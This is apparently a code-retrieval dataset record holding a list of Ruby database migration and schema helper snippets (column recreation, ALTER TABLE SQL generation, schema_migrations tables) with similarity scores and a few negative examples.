"def recreate_column(name, schema, gen, options)\n if options[:single_pk] && schema_autoincrementing_primary_key?(schema)\n type_hash = options[:same_db] ? {:type=>schema[:db_type]} : column_schema_to_ruby_type(schema)\n [:table, :key, :on_delete, :on_update, :deferrable].each{|f| type_hash[f] = schema[f] if schema[f]}\n if type_hash == {:type=>Integer} || type_hash == {:type=>\"integer\"} || type_hash == {:type=>\"INTEGER\"}\n type_hash.delete(:type)\n elsif options[:same_db] && type_hash == {:type=>type_literal_generic_bignum_symbol(type_hash).to_s}\n type_hash[:type] = :Bignum\n end\n\n unless gen.columns.empty?\n type_hash[:keep_order] = true\n end\n\n if type_hash.empty?\n gen.primary_key(name)\n else\n gen.primary_key(name, type_hash)\n end\n else\n col_opts = if options[:same_db]\n h = {:type=>schema[:db_type]}\n if database_type == :mysql && h[:type] =~ /\\Atimestamp/\n h[:null] = true\n end\n if database_type == :mssql && schema[:max_length]\n h[:size] = schema[:max_length]\n end\n h\n else\n column_schema_to_ruby_type(schema)\n end\n type = col_opts.delete(:type)\n if col_opts.key?(:size) && col_opts[:size].nil?\n col_opts.delete(:size)\n if max_length = schema[:max_length]\n col_opts[:size] = max_length\n end\n end\n if schema[:generated]\n if options[:same_db] && database_type == :postgres\n col_opts[:generated_always_as] = column_schema_to_ruby_default_fallback(schema[:default], options)\n end\n else\n col_opts[:default] = if schema[:ruby_default].nil?\n column_schema_to_ruby_default_fallback(schema[:default], options)\n else\n schema[:ruby_default]\n end\n col_opts.delete(:default) if col_opts[:default].nil?\n end\n col_opts[:null] = false if schema[:allow_null] == false\n if table = schema[:table]\n [:key, :on_delete, :on_update, :deferrable].each{|f| col_opts[f] = schema[f] if schema[f]}\n col_opts[:type] = type unless type == Integer || type == 'integer' || type == 'INTEGER'\n gen.foreign_key(name, table, col_opts)\n else\n gen.column(name, type, col_opts)\n if [Integer, :Bignum, Float, BigDecimal].include?(type) && schema[:db_type] =~ / unsigned\\z/io\n gen.check(Sequel::SQL::Identifier.new(name) >= 0)\n end\n end\n end\n end",
"def functional_update_schema # abstract\n raise 'abstract'\n end",
"def setup_columns\n if inheritable?\n SimpleSet.new([primary_key, inheritance_column])\n else\n primary_key.blank? ? SimpleSet.new : SimpleSet.new([primary_key])\n end \n end",
"def clone_versioned_model(orig_model, new_model)\n self.class.versioned_columns.each do |col|\n new_model[col.name] = orig_model.send(col.name) if orig_model.has_attribute?(col.name)\n end\n\n clone_inheritance_column(orig_model, new_model)\n end",
"def export_columns\n self.entity_columns.select(\"name, description, ref_type, ref_name, col_type\").where(\"list_rank > 0 and name not in ('domain_id', 'creator_id', 'updater_id', 'created_at', 'updated_at')\").order(\"list_rank asc\")\n end",
"def migrate version = nil\n if @migrations\n schema = meta_schema\n version = __check_migration_version(version)\n __create_meta_data_table_for(schema)\n\n s = schema.first || schema.new(version: 0)\n unless s.version == version\n @migrations.sort_by { |migration| migration.version }.each do |m|\n m.migrate(:up) if s.version < m.version and m.version <= version\n\n if s.version >= m.version and m.version > version\n m.migrate(:down)\n else # Handle migrate(0)\n m.migrate(:down) if s.version >= m.version and version.zero?\n end\n end\n s.update_attribute :version, version\n end\n version = s.version\n end\n version\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def initialize_schema_migrations_table\n unless table_exists?('schema_migrations')\n execute(\"CREATE TABLE schema_migrations (version string primary key INDEX using plain)\")\n end\n end",
"def reference_columns(excluded_supertypes) #:nodoc:\n trace :columns, \"Reference Columns for #{name}\" do\n if is_table\n if isr = injected_surrogate_role\n ref_from = references_from.detect{|ref| ref.from_role == isr}\n [ActiveFacts::RMap::Column.new(ref_from)]\n else\n [ActiveFacts::RMap::Column.new(self_value_reference)]\n end\n else\n [ActiveFacts::RMap::Column.new]\n end\n end\n end",
"def columns\n super + [:extra_column]\n end",
"def columns_default\n super + ['creators','projects','version']\n end",
"def apply_alter_table_generator(name, generator)\n ops = generator.operations\n\n unless can_add_primary_key_constraint_on_nullable_columns?\n if add_pk = ops.find{|op| op[:op] == :add_constraint && op[:type] == :primary_key}\n ops = add_pk[:columns].map{|column| {:op => :set_column_null, :name => column, :null => false}} + ops\n end\n end\n\n apply_alter_table(name, ops)\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :add_column\n \"ALTER TABLE #{quote_schema_table(table)} ADD #{column_definition_sql(op)}\"\n when :drop_column\n \"ALTER TABLE #{quote_schema_table(table)} DROP #{column_definition_sql(op)}\"\n when :rename_column\n \"ALTER TABLE #{quote_schema_table(table)} ALTER #{quote_identifier(op[:name])} TO #{quote_identifier(op[:new_name])}\"\n when :set_column_type\n \"ALTER TABLE #{quote_schema_table(table)} ALTER #{quote_identifier(op[:name])} TYPE #{type_literal(op)}\"\n else\n super(table, op)\n end\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :add_column\n \"ALTER TABLE #{quote_schema_table(table)} ADD #{column_definition_sql(op)}\"\n when :rename_column\n \"SP_RENAME #{literal(\"#{quote_schema_table(table)}.#{quote_identifier(op[:name])}\")}, #{literal(op[:new_name].to_s)}, 'COLUMN'\"\n when :set_column_type\n \"ALTER TABLE #{quote_schema_table(table)} ALTER COLUMN #{quote_identifier(op[:name])} #{type_literal(op)}\"\n when :set_column_null\n sch = schema(table).find{|k,v| k.to_s == op[:name].to_s}.last\n type = {:type=>sch[:db_type]}\n type[:size] = sch[:max_chars] if sch[:max_chars]\n \"ALTER TABLE #{quote_schema_table(table)} ALTER COLUMN #{quote_identifier(op[:name])} #{type_literal(type)} #{'NOT ' unless op[:null]}NULL\"\n when :set_column_default\n \"ALTER TABLE #{quote_schema_table(table)} ADD CONSTRAINT #{quote_identifier(\"sequel_#{table}_#{op[:name]}_def\")} DEFAULT #{literal(op[:default])} FOR #{quote_identifier(op[:name])}\"\n else\n super(table, op)\n end\n end",
"def read_new_schema\n AssociatedRecord.reset_column_information\n DeeplyAssociatedRecord.reset_column_information\n\n AssociatedRecord.cached_primary_index.send(:instance_variable_set, :@cache_key_prefix, nil)\n Item.cached_primary_index.send(:instance_variable_set, :@cache_key_prefix, nil)\n end",
"def create_tables!\n migrate(:up)\n end",
"def migration_set_attribs\n tcs = table_comments || {}\n\n if view_sql&.strip&.present?\n view_sql_text = <<~VSTEXT\n self.view_sql = <<~VIEWSQL\n #{view_sql}\n VIEWSQL\n VSTEXT\n end\n\n <<~SETATTRIBS\n self.schema = '#{db_migration_schema}'\n self.table_name = '#{table_name}'\n self.class_name = '#{class_name}'\n self.fields = %i[#{migration_fields_array.join(' ')}]\n self.table_comment = '#{tcs[:table]}'\n self.fields_comments = #{(tcs[:fields] || {}).to_h}\n self.db_configs = #{(db_configs || {}).to_h}\n self.no_master_association = #{!!no_master_association}\n self.resource_type = :#{resource_type}\n self.all_referenced_tables = #{(all_referenced_tables || []).to_a}\n #{view_sql_text}\n SETATTRIBS\n end",
"def create_entity_columns\n entity = self.name.constantize\n entity.reset_column_information\n \n entity.columns.each_with_index do |column, i|\n f = self.entity_columns.detect{ |col| col.name == column.name }\n unless f\n f = self.entity_columns.build(:name => column.name)\n association = entity.reflect_on_all_associations(:belongs_to).detect{|a| a.options[:foreign_key] == column.name }\n association ||= entity.reflect_on_association column.name.sub(/_id$/, '').to_sym if column.name.ends_with? '_id'\n if association\n f.ref_type = :Entity.to_s\n f.ref_name = association.options[:polymorphic] ? 'POLYMORPHIC' : association.class_name\n end\n end\n \n f.term = \"label.#{column.name}\" unless f.term\n f.col_type = column.type.to_s\n f.col_size = column.limit if(column.respond_to?(:limit))\n f.nullable = column.null\n f.def_val = (column.default == nil) ? nil : column.default.to_s\n f.disp_rank = i * 10\n f.save!\n end\n\n uniq_index_def = ActiveRecord::Base.connection.indexes(entity.table_name).find { |index_def| index_def.unique == true }\n \n # unique ranks by getting unique index\n if(uniq_index_def)\n uniq_seq = 1\n uniq_index_def.columns.each do |uniq_col_name|\n column = self.entity_columns.where(\"name = ?\", uniq_col_name).first\n if(column)\n column.uniq_rank = uniq_seq * 10\n column.save!\n uniq_seq += 1\n end\n end\n end\n \n return self.entity_columns\n end",
"def orm_patches_applied; end",
"def columns(table_name, name = nil) end",
"def canonical_fields(table_def)\n table_def.fields.inject([]) do |fields, f|\n fields << SpreeMigrateDB::FieldDef.new(canonical_table_name(f.table), f.column, f.type, f.options)\n end\n end",
"def ignored_translation_table_colums(klass); end",
"def up\n rename_column TABLE_NAME, OLD_COLUMN_NAME, NEW_COLUMN_NAME\n end",
"def up\n rename_column TABLE_NAME, OLD_COLUMN_NAME, NEW_COLUMN_NAME\n end",
"def migrated_down(migration)\n column_family.delete({\n where: {\n version: migration.version.to_s,\n name: migration.name,\n },\n })\n end",
"def alter_table_sql(table, op)\n\t if op[:op] == :add_column\n subclause = \"ADD #{column_definition_sql(op)}\"\n else\n quoted_name = quote_identifier(op[:name]) if op[:name]\n case op[:op]\n when :set_column_type\n subclause = \"MODIFY #{quoted_name} #{type_literal(op)}\"\n when :set_column_default\n subclause = \"MODIFY #{quoted_name} DEFAULT #{literal(op[:default])}\"\n when :set_column_null\n subclause = \"MODIFY #{quoted_name} #{op[:null] ? 'NULL' : 'NOT NULL'}\"\n when :modify_constraint\n subclause = \"MODIFY #{constraint_definition_sql(op)}\"\n else\n\t return super(table, op)\n end\n end\n \"ALTER TABLE #{quote_schema_table(table)} #{subclause}\"\n\t end",
"def career_migration_data\n<<RUBY\nt.string :title\n t.string :position\n t.string :location\n t.text :description\n t.text :questions\n t.boolean :status,default: true\n\nRUBY\n end",
"def initialize_schema_migrations_table_with_plugins\n sm_table = Goldberg::Migrator.schema_migrations_table_name\n \n unless tables.detect { |t| t == sm_table }\n create_table(sm_table, :id => false) do |schema_migrations_table|\n schema_migrations_table.column :plugin_name, :string, :null => false\n schema_migrations_table.column :version, :string, :null => false\n end\n add_index sm_table, [:plugin_name, :version], :unique => true,\n :name => 'unique_schema_migrations'\n \n # Backwards-compatibility: if we find schema_info, assume we've\n # migrated up to that point:\n si_table = ActiveRecord::Base.table_name_prefix + 'plugin_schema_info' +\n ActiveRecord::Base.table_name_suffix\n if tables.detect { |t| t == si_table }\n old_version = select_value(\"SELECT version FROM #{quote_table_name(si_table)} WHERE plugin_name=#{Goldberg::Migrator.plugin}\").to_i\n assume_migrated_upto_version(old_version)\n drop_table(si_table)\n end\n end\n end",
"def column_definitions(table_name)\n fields = query(<<~SQL, \"SCHEMA\")\n SELECT a.attname, format_type(a.atttypid, a.atttypmod),\n pg_get_expr(d.adbin, d.adrelid), a.attnotnull, a.atttypid, a.atttypmod,\n c.collname, NULL AS comment,\n #{supports_virtual_columns? ? 'attgenerated' : quote('')} as attgenerated,\n NULL as is_hidden\n FROM pg_attribute a\n LEFT JOIN pg_attrdef d ON a.attrelid = d.adrelid AND a.attnum = d.adnum\n LEFT JOIN pg_type t ON a.atttypid = t.oid\n LEFT JOIN pg_collation c ON a.attcollation = c.oid AND a.attcollation <> t.typcollation\n WHERE a.attrelid = #{quote(quote_table_name(table_name))}::regclass\n AND a.attnum > 0 AND NOT a.attisdropped\n ORDER BY a.attnum\n SQL\n\n crdb_fields = crdb_column_definitions(table_name)\n\n # Use regex comparison because if a type is an array it will\n # have [] appended to the end of it.\n target_types = [\n /geometry/,\n /geography/,\n /interval/,\n /numeric/\n ]\n\n re = Regexp.union(target_types)\n fields.map do |field|\n dtype = field[1]\n field[1] = crdb_fields[field[0]][2].downcase if re.match(dtype)\n field[7] = crdb_fields[field[0]][1]&.gsub!(/^\\'|\\'?$/, '')\n field[9] = true if crdb_fields[field[0]][3]\n field\n end\n fields.delete_if do |field|\n # Don't include rowid column if it is hidden and the primary key\n # is not defined (meaning CRDB implicitly created it).\n if field[0] == CockroachDBAdapter::DEFAULT_PRIMARY_KEY\n field[9] && !primary_key(table_name)\n else\n false # Keep this entry.\n end\n end\n end",
"def copy_bucket_maker_migration\n if behavior == :invoke && store_in == 'active_record' && active_recordable_exists?\n migration_template \"active_recordable_migration.rb\", \"db/migrate/create_#{ACTIVE_RECORDABLE.pluralize}\"\n end\n end",
"def create_versioned_table(create_table_options = {})\n # create version column in main table if it does not exist\n if !self.content_columns.find { |c| [version_column.to_s, 'lock_version'].include? c.name }\n self.connection.add_column table_name, version_column, :integer\n self.reset_column_information\n end\n\n return if connection.table_exists?(versioned_table_name)\n\n self.connection.create_table(versioned_table_name, create_table_options) do |t|\n t.column versioned_foreign_key, :integer\n t.column version_column, :integer\n end\n\n self.versioned_columns.each do |col|\n self.connection.add_column versioned_table_name, col.name, col.type,\n :limit => col.limit,\n :default => col.default,\n :scale => col.scale,\n :precision => col.precision\n end\n\n if type_col = self.columns_hash[inheritance_column]\n self.connection.add_column versioned_table_name, versioned_inheritance_column, type_col.type,\n :limit => type_col.limit,\n :default => type_col.default,\n :scale => type_col.scale,\n :precision => type_col.precision\n end\n\n self.connection.add_index versioned_table_name, versioned_foreign_key\n end",
"def change_table_with_versions(*args, &block)\n SchemaStatements.apply_versionable_option!(:change_table, self, *args, &block)\n end",
"def rename_columns(table_name, columns_old_new_create)\n temporary_table_name = \"#{table_name}_temp\"\n\n DataMapper::Transaction.new(adapter).commit do\n adapter.execute(\n \"ALTER TABLE #{quote table_name} \"\\\n \"RENAME TO #{quote temporary_table_name}\"\n )\n\n create_table table_name do\n columns_old_new_create.each do |_old, new, *options|\n column new, *options\n end\n end\n\n columns_old = columns_old_new_create.map { |c| quote c[0] }\n columns_new = columns_old_new_create.map { |c| quote c[1] }\n\n adapter.execute(\n \"INSERT INTO #{quote table_name}\" +\n \"(#{columns_new.join(',')}) \" +\n \"SELECT #{columns_old.join(',')} \" +\n \"FROM #{quote temporary_table_name}\")\n\n drop_table temporary_table_name\n end\n end",
"def table_name; \"gdo_module\"; end",
"def alter_table_generator_class\n Schema::AlterTableGenerator\n end",
"def rebuild(table); end",
"def table_name\n \"#{table_name_prefix}data_migrations#{table_name_suffix}\"\n end",
"def extend_sql_avoiding_table_naming_clashes!(sql, addition)\r\n used_table_aliases = table_aliases_from_join_fragment(addition)\r\n old_table_aliases = table_aliases_from_join_fragment(sql)\r\n (used_table_aliases & old_table_aliases).each do |join_table_alias|\r\n i = 0\r\n begin\r\n i += 1\r\n new_alias = \"renamed_join_table_#{i}\"\r\n end until !used_table_aliases.include?(new_alias)\r\n convert_table_name_to_new_alias!(sql, join_table_alias, new_alias)\r\n end\r\n sql << \" #{addition} \"\r\n end",
"def vendor_table\n update unless @vendor_table\n @vendor_table\n end",
"def migrate\n run_migrations pending_migrations, :up\n end",
"def field_changes\n table_name = if table_name_changed\n prev_table_name\n else\n self.table_name\n end\n\n begin\n cols = table_columns\n old_colnames = cols.map(&:name) - standard_columns\n old_colnames = old_colnames.reject { |f| f.index(/^embedded_report_|^placeholder_/) }\n rescue StandardError\n return\n end\n\n fields = migration_fields_array\n new_colnames = fields.map(&:to_s) - standard_columns\n\n added = new_colnames - old_colnames\n removed = old_colnames - new_colnames\n changed = {}\n db_configs.each do |k, v|\n current_type = cols.find { |c| c.name == k.to_s }&.type\n next unless v[:type] && current_type\n\n expected_type = v[:type]&.to_sym\n current_type = :timestamp if current_type == :datetime\n changed[k.to_s] = expected_type if current_type != expected_type\n end\n\n if belongs_to_model\n belongs_to_model_id = \"#{belongs_to_model}_id\"\n removed -= [belongs_to_model_id]\n end\n\n [added, removed, changed, old_colnames]\n end",
"def setup_db\n ActiveRecord::Schema.define(:version => 1) do\n create_table :users do |t|\n t.string :email, :limit => 255\n t.string :crypted_password, :limit => 255\n \n t.timestamps\n end\n end\n \n ActiveRecord::Schema.define(:version => 1) do\n create_table :labels do |t|\n t.string :type, :limit => 255\n t.string :system_label, :limit => 255\n t.string :label, :limit => 255\n \n t.timestamps\n end\n end\nend",
"def test_change_column_null\n testing_table_with_only_foo_attribute do\n notnull_migration = Class.new(ActiveRecord::Migration::Current) do\n def change\n change_column_null :testings, :foo, false\n end\n end\n notnull_migration.new.suppress_messages do\n notnull_migration.migrate(:up)\n assert_equal false, connection.columns(:testings).find { |c| c.name == \"foo\" }.null\n notnull_migration.migrate(:down)\n assert connection.columns(:testings).find { |c| c.name == \"foo\" }.null\n end\n end\n end",
"def column_definitions(table_name) #:nodoc:\n pieces = table_name.split('.')\n \n if pieces.length == 1\n schema_name = 'public'\n table_name = pieces.last\n else\n schema_name, table_name = pieces.first, pieces.last\n end\n \n query <<-end_sql\n SELECT column_name, data_type, column_default, is_nullable\n FROM v_catalog.columns\n WHERE table_schema = '#{schema_name.gsub(/(^\"|\"$)/,'')}'\n AND table_name = '#{table_name.gsub(/(^\"|\"$)/,'')}'\n end_sql\n end",
"def new_table_name=(name)\n @new_table_name = \"layer_table_#{name}\"\n end",
"def alter_table(name, *)\n super\n remove_cached_schema(name)\n nil\n end",
"def revise_table\n name = @table_extension.name\n @table_extension.extended.each do |method_name|\n define_extension_setter(name, method_name)\n define_extension_getter(name, method_name)\n define_extension_dirty(name, method_name)\n end\n @table_extension.mirrored.each do |method_name|\n define_extension_mirror_setter(name, method_name)\n end\n true\n end",
"def generate!\n table_attributes = resource.table_attributes\n model_attributes = resource.model_attributes\n\n table_keys = table_attributes.keys\n model_keys = model_attributes.keys\n\n # Create table\n if table_keys.blank?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: create table\"\n return rails_migrate(\"create_#{resource.plural_name}\", model_attributes)\n end\n\n # Fields are not in database, but present in model.rb\n if(add_keys = (model_keys - table_keys)).present?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: add #{add_keys.to_sentence}\"\n rails_migrate(\"add_ATTRIBUTES_to_#{resource.plural_name}\", model_attributes.slice(*add_keys))\n end\n\n # Fields are in database, but no longer in our effective_resource do block\n if (remove_keys = (table_keys - model_keys)).present?\n Rails.logger.info \"effective_developer migrate #{resource.plural_name}: remove #{remove_keys.to_sentence}\"\n rails_migrate(\"remove_ATTRIBUTES_from_#{resource.plural_name}\", table_attributes.slice(*remove_keys))\n end\n end",
"def table\n Identity\n end",
"def table\n Identity\n end",
"def copy_migrations\n # Can't get this any more DRY, because we need this order.\n better_migration_template \"create_searches.rb\"\n better_migration_template \"create_bookmarks.rb\"\n better_migration_template \"remove_editable_fields_from_bookmarks.rb\"\n better_migration_template \"add_user_types_to_bookmarks_searches.rb\"\n end",
"def up\n change_column(:my_table, :my_columnn, :new_type)\nend",
"def alter(field)\n sql = build_sql(field)\n execute(sql)\nend",
"def migrate!\n Migrator.migrate(name)\n end",
"def migrate!\n Migrator.migrate(name)\n end",
"def columns\n Proc.new do\n <<-SQL\n id integer primary key autoincrement,\n sample_id integer, --foreign key to reference the original revision\n \n --these are all true contemporaneous of the edit, post or pre-edit may be different\n account_creation timestamp(20), --this should be the entry in the logevents call, but if we exceed the max number of requests, we won't get it\n account_lifetime integer, --this is the lifetime of the account in seconds\n edits_last_second integer, --want a figure to show recent activity do buckets instead\n edits_last_minute integer,\n edits_last_hour integer,\n edits_last_day integer,\n edits_last_week integer,\n edits_last_month integer,\n edits_last_year integer,\n total_edits integer,\n --rights_grant_count \n --rights_removal_count\n --groups string,\n FOREIGN KEY(sample_id) REFERENCES irc_wikimedia_org_en_wikipedia(id) --these foreign keys probably won't be enforced b/c sqlite doesn't include it by default--TODO this foreign table name probably shouldn't be hard coded\nSQL\n end\n end",
"def migrate(version = nil)\n ActiveRecord::ConnectionAdapters::SchemaStatements.class_eval do\n include Goldberg::SchemaStatements\n end\n\n version && (version = version.to_i)\n super(\"#{RAILS_ROOT}/vendor/plugins/#{plugin_name}/db/migrate\", version)\n end",
"def create_table_structure(columns_to_include)\n if @table_created\n @columns.each do |column|\n begin\n ActiveRecord::Schema.add_column(@new_table_name, column[:name], column[:type]) if (columns_to_include.blank? or columns_to_include.include? column[:name])\n rescue\n puts \"Couldnt add field #{column[:name].downcase}\"\n end\n end\n ActiveRecord::Schema.add_column(@new_table_name,\"the_geom\", :geometry,:null => false)\n ActiveRecord::Schema.add_index(@new_table_name,\"the_geom\",:spatial => true)\n end\n end",
"def create_table_structure(columns_to_include)\n if @table_created\n @columns.each do |column|\n begin\n ActiveRecord::Schema.add_column(@new_table_name, column[:name], column[:type]) if (columns_to_include.blank? or columns_to_include.include? column[:name])\n rescue\n puts \"Couldnt add field #{column[:name].downcase}\"\n end\n end\n ActiveRecord::Schema.add_column(@new_table_name,\"the_geom\", :geometry,:null => false)\n ActiveRecord::Schema.add_index(@new_table_name,\"the_geom\",:spatial => true)\n end\n end",
"def proxy_columns(columns)\n columns.each do |column|\n if (type = column_type(column.type)).present?\n # When setting the default value, note that +main_instance+ might be nil, so we have to use +try+\n attribute column.name, type, default: proc { |f| f.main_instance.try(column.name) }\n end\n end\n end",
"def migrations\n raise(ArgumentError, \"Can't set migrations while using :version option\") if @using_deprecated_version_setting\n yield\n end",
"def reference_columns(excluded_supertypes) #:nodoc:\n trace :columns, \"Reference Columns for #{name}\" do\n\n if absorbed_via and\n # If this is not a subtype, or is a subtype that has its own identification, use the id.\n (all_type_inheritance_as_subtype.size == 0 ||\n all_type_inheritance_as_subtype.detect{|ti| ti.provides_identification })\n rc = absorbed_via.from.reference_columns(excluded_supertypes)\n # The absorbed_via reference gets skipped here, and also in object_type.rb\n trace :columns, \"Skipping #{absorbed_via}\"\n absorbed_mirror ||= absorbed_via.reversed\n rc.each{|col| col.prepend(absorbed_mirror)}\n return rc\n end\n\n # REVISIT: Should have built preferred_identifier_references\n preferred_identifier.role_sequence.all_role_ref.map do |role_ref|\n # REVISIT: Should index references by to_role:\n ref = references_from.detect {|ref| ref.to_role == role_ref.role}\n\n raise \"reference for role #{role_ref.describe} not found on #{name} in #{references_from.size} references:\\n\\t#{references_from.map(&:to_s)*\"\\n\\t\"}\" unless ref\n\n ref.columns({})\n end.flatten\n end\n end",
"def auto_migrate!\n DataMapper.auto_migrate!(name)\n end",
"def right_table; table_sync.right_table; end",
"def migrate!(opts)\n raise NotSupportedError, \"Unable to migrate using `#{self}`\"\n end",
"def columns(table_name, *rest)\n @table.fields.map {|s| ::ActiveRecord::ConnectionAdapters::Column.new(s.to_s, nil, String)}\n end",
"def migration_railties; end",
"def migration_railties; end",
"def migrations\n rake 'admin:install:migrations'\n rake 'db:migrate SCOPE=admin'\n end",
"def column_definitions(table_name)\r\n query <<-end_sql\r\n SELECT a.attname, format_type(a.atttypid, a.atttypmod), d.adsrc, a.attnotnull, c.consrc\r\n FROM pg_attribute a LEFT JOIN pg_attrdef d\r\n ON a.attrelid = d.adrelid AND a.attnum = d.adnum\r\n LEFT JOIN pg_constraint c ON a.attrelid = c.conrelid AND \r\n c.contype = 'c' AND c.conkey[1] = a.attnum\r\n WHERE a.attrelid = '#{table_name}'::regclass\r\n AND a.attnum > 0 AND NOT a.attisdropped\r\n ORDER BY a.attnum\r\n end_sql\r\n end",
"def create_side_table\n RailsRedshiftReplicator.connection.exec \"CREATE TABLE #{temporary_table_name} (LIKE #{replication.target_table})\"\n end",
"def save_columns!\n # NetzkeFieldList.update_list_for_current_authority(global_id, columns(false), original_data_class.name) if persistent_config_enabled?\n end",
"def requires_table_name_for_update\n true\n end",
"def up\n create_table TABLE_NAME do |t|\n #\n # Single Table Inheritance (STI)\n #\n\n t.string :type\n\n #\n # Columns\n #\n\n t.datetime :real_path_modified_at, null: false\n t.string :real_path_sha1_hex_digest, limit: 40, null: false\n t.text :relative_path, null: false\n\n #\n # References\n #\n\n t.references :parent_path, null: false\n end\n\n change_table TABLE_NAME do |t|\n #\n # Foreign Key Indices\n #\n\n t.index :parent_path_id\n\n #\n # Unique Indices\n #\n\n t.index :real_path_sha1_hex_digest, unique: true\n # relative_path is unique because all parent_paths must be able to be unified.\n t.index :relative_path, unique: true\n end\n end",
"def db_column_func(&block)\n new_structure = self.class.db_structure\n\n yield(new_structure)\n self.class.update_db(new_structure)\n new_structure\n end",
"def rebuild_model options = {}\n ActiveRecord::Base.connection.create_table :dummies, :force => true do |table|\n table.string :in_the_clear\n table.binary :secret\n table.binary :secret_key\n table.binary :secret_iv\n table.binary :segreto\n end\n rebuild_class options\nend",
"def on_table?; @on_table; end",
"def default_columns\n#\t\t%w( id case_icf_master_id mother_icf_master_id icf_master_id \n\t\t%w( id case_icf_master_id mother_icf_master_id icf_master_id \n\t\t\tsubject_type vital_status sex dob \n\t\t\tfirst_name last_name)\n\tend",
"def columns(table_name, name = nil) #:nodoc:\r\n table_structure(table_name).map do |field|\r\n AdvantageColumn.new(strip_or_self(field['COLUMN_NAME']), field['COLUMN_DEF'], strip_or_self(field['TYPE_NAME']), field['NULLABLE'])\r\n end\r\n end",
"def schema_meta_structure\n CreateVersionsTableQuery.new.to_cql\n end"
] |
[
"0.65882033",
"0.6573994",
"0.654096",
"0.6381884",
"0.6279847",
"0.6212607",
"0.6081981",
"0.60590905",
"0.6054544",
"0.59881574",
"0.5984498",
"0.5936947",
"0.5904286",
"0.59028167",
"0.588025",
"0.581781",
"0.58148825",
"0.5789818",
"0.5754122",
"0.5752626",
"0.57406616",
"0.5694796",
"0.5685698",
"0.5674052",
"0.56728417",
"0.56514955",
"0.5647685",
"0.5647685",
"0.5647685",
"0.5610021",
"0.5597652",
"0.5590452",
"0.557949",
"0.5575342",
"0.5557809",
"0.555767",
"0.554926",
"0.5538612",
"0.5533854",
"0.55308026",
"0.55132324",
"0.55074495",
"0.55057496",
"0.55019325",
"0.55019325",
"0.55016124",
"0.54973394",
"0.5488176",
"0.54641175",
"0.5461041",
"0.5459965",
"0.5453477",
"0.5453263",
"0.5447856",
"0.5443815",
"0.5436712",
"0.54354614",
"0.54313016",
"0.5431236",
"0.54294825",
"0.5422127",
"0.541573",
"0.5412117",
"0.5407703",
"0.5404455",
"0.5400278",
"0.53989875",
"0.53975534",
"0.53963745",
"0.53906476",
"0.53906476",
"0.5378559",
"0.53695935",
"0.5369369",
"0.53679377",
"0.5367713",
"0.53617775",
"0.5349623",
"0.5348646",
"0.5348646",
"0.53437656",
"0.53420395",
"0.5340192",
"0.5339842",
"0.5335623",
"0.5323492",
"0.5322189",
"0.5318812",
"0.5318812",
"0.53132516",
"0.53107685",
"0.5304011",
"0.52930474",
"0.52930033",
"0.52910763",
"0.5273067",
"0.5267774",
"0.5264985",
"0.5247477",
"0.52460235",
"0.52353615"
] |
0.0
|
-1
|
MIGRATION use separate table over columns in same table Accessors for backward compatibility
|
def payment_gateway_options
gateway_setting.symbolized_settings
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def migrate\n raise NotImplementedError\n end",
"def migrate\n db.create_table? table_name do\n primary_key :id\n String :ptype\n String :v0\n String :v1\n String :v2\n String :v3\n String :v4\n String :v5\n end\n end",
"def migrate\n ActiveRecord::Schema.define do\n self.verbose = true # or false\n\n enable_extension \"plpgsql\"\n #enable_extension \"pgcrypto\"\n\n create_table(:access_lines, force: true) do |t|\n t.string :line, null: false\n t.datetime :timestamp, null: false\n t.string :username, null: false\n t.string :peer_id, null: false\n end\n\n # A backup for the uniqueness validation in AccessLine\n add_index :access_lines, [:timestamp, :username], unique: true\n end\n end",
"def migration\n end",
"def migrated_up(migration)\n column_family.insert({\n data: {\n version: migration.version.to_s,\n name: migration.name,\n migrated_at: Time.now.utc,\n },\n })\n end",
"def migrate(_key, _options); end",
"def migrate(key, options); end",
"def migration_update_table\n added, removed, changed, prev_fields = field_changes\n\n if table_comments\n new_table_comment = table_comment_changes\n new_fields_comments = fields_comments_changes\n end\n\n unless added.present? || removed.present? || changed.present? ||\n new_table_comment || new_fields_comments.present? || table_name_changed || no_master_association_changed\n return\n end\n\n new_fields_comments ||= {}\n\n <<~ARCONTENT\n self.no_master_association = #{!!no_master_association}\n #{table_name_changed ? \" self.prev_table_name = '#{prev_table_name}'\" : ''}\n #{table_name_changed ? ' update_table_name' : ''}\n #{table_name_changed ? '' : \" self.prev_fields = %i[#{prev_fields.join(' ')}]\"}\n \\# added: #{added}\n \\# removed: #{removed}\n \\# changed type: #{changed}\n #{new_table_comment ? \" \\# new table comment: #{new_table_comment.gsub(\"\\n\", '\\n')}\" : ''}\n #{new_fields_comments.present? ? \" \\# new fields comments: #{new_fields_comments.keys}\" : ''}\n update_fields\n ARCONTENT\n end",
"def alter_table_sql(table, op)\n case op[:op]\n when :rename_column\n unless sch = op[:schema]\n raise(Error, \"can't find existing schema entry for #{op[:name]}\") unless sch = op[:schema] || schema(table).find{|c| c.first == op[:name]}\n sch = sch.last\n end\n [\n alter_table_sql(table, :op=>:add_column, :name=>op[:new_name], :default=>sch[:ruby_default], :type=>sch[:db_type], :null=>sch[:allow_null]),\n from(table).update_sql(op[:new_name]=>op[:name]),\n alter_table_sql(table, :op=>:drop_column, :name=>op[:name])\n ]\n when :set_column_null, :set_column_default\n raise(Error, \"can't find existing schema entry for #{op[:name]}\") unless sch = op[:schema] || schema(table).find{|c| c.first == op[:name]}\n sch = sch.last\n\n sch = if op[:op] == :set_column_null\n sch.merge(:allow_null=>op[:null])\n else\n sch.merge(:ruby_default=>op[:default])\n end\n\n [\n alter_table_sql(table, :op=>:rename_column, :name=>op[:name], :new_name=>:sequel_access_backup_column, :schema=>sch),\n alter_table_sql(table, :op=>:rename_column, :new_name=>op[:name], :name=>:sequel_access_backup_column, :schema=>sch)\n ]\n else\n super\n end\n end",
